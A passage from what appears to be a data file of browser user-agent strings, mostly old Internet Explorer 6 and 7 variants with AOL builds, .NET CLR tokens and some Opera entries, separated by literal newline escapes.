MSIE 6.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 10.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.25\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; it) Opera 10.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; ja) Opera 9.63\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; en)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT; SiteKiosk 4.8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT; SiteKiosk 4.9)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT; SiteKiosk 4.9; SiteCoach 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4\nMozilla/4.0 (compatible; MSIE 6.0; Windows XP)\nMozilla/4.0 (compatible; MSIE 6.0; Windows XP; DigExt)\nMozilla/4.0 (compatible; MSIE 6.0; Windows XP; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows XP; SV1; Maxthon)\nMozilla/4.0 (compatible; MSIE 6.0; Windows; U; Win98; en-US)\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686 ; en) Opera 10.00\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera 7.23  [fi]\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera 7.54  [en]\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 9.00\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.02\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.52\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.00\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.01\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.20\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.21\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.23\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.25\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.51\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.64\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en-GB) Opera 9.64\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; nb) Opera 9.64\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; pl) Opera 9.20\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; ru) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.63\nMozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5\nMozilla/4.0 (compatible; MSIE 6.0b; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) (Compatible;  ;  ; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; DigExt)\nMozilla/4.0 (compatible; MSIE 6.1; Windows XP)\nMozilla/4.0 (compatible; MSIE 6.1; Windows XP) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0)\nMozilla/4.0 (compatible; MSIE 7.0;  Windows NT 6.2; WOW64; Trident/6.0)\nMozilla/4.0 (compatible; MSIE 7.0; ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; ; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; InfoPat\nMozilla/4.0 (compatible; MSIE 7.0; AOL 7.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 7.0; Windows NT 5.1) (Compatible;  ;  ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 7.0; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 7.0; Windows NT 5.1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; AOLBuild 4327.111; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; (R1 1.6))\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Seekmo 10.0.275.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; HbTools 4.8.0; Hotbar 10.0.368.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; SpamBlockerUtility 4.6.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; SpamBlockerUtility 4.7.5)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.1.181.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; Trident/4.0; GTB6; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4327.65535; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727); UnAuth-State\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.27; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1); UnAuth-State\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.27; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506); UnAuth-State\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.27; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0); UnAuth-State\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.36; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5000; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5000; Windows NT 5.1; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; Trident/4.0; DigExt; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5009; Windows NT 5.1; GTB5; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5010; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.155; Windows NT 6.0; Trident/4.0; GTB6.4; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.155; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.155; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.155; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.174; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.185; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.185; Windows NT 5.1; Trident/4.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.24; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; FunWebProducts; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; FunWebProducts; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; GTB5)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 